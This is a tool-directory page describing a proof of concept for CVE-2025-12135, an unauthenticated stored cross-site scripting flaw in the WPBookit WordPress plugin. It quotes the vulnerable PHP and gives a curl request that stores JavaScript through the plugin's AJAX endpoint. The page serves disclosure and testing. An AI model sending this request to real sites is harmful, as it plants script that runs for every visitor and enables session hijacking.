Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-12135
Static Code Analysis (SAST)Vulnerability AnalysisCode AnalysisWeb Application ExploitationAuthenticationMisconfiguration
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting

View Repository
410 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WPBookit <= 1.0.6 - Unauthenticated Stored Cross-Site Scripting

The WPBookit plugin does not validate user permission or sanitize custom CSS/JS code in its save_custome_code AJAX endpoint, allowing unauthenticated attackers to inject arbitrary JavaScript that executes on every page load, leading to stored XSS and potential session hijacking.

TL;DR Exploits

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

Details

The vulnerability exists in the save_custome_code method of the WPB_Setting_Controller class. The plugin registers AJAX endpoints for unauthenticated users, allowing any visitor to inject arbitrary CSS/JS code that gets executed on every page load.

Vulnerable code from /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

Code execution from /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

Unauthenticated access from /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

Route configuration from /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

Manual Reproduction

  1. Identify target with WPBookit plugin installed
  2. Inject malicious JavaScript:
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. Verify injection by visiting any page on the site - the alert will execute
  2. Check persistence - the malicious code is stored in the database and executes on every page load
Download Tool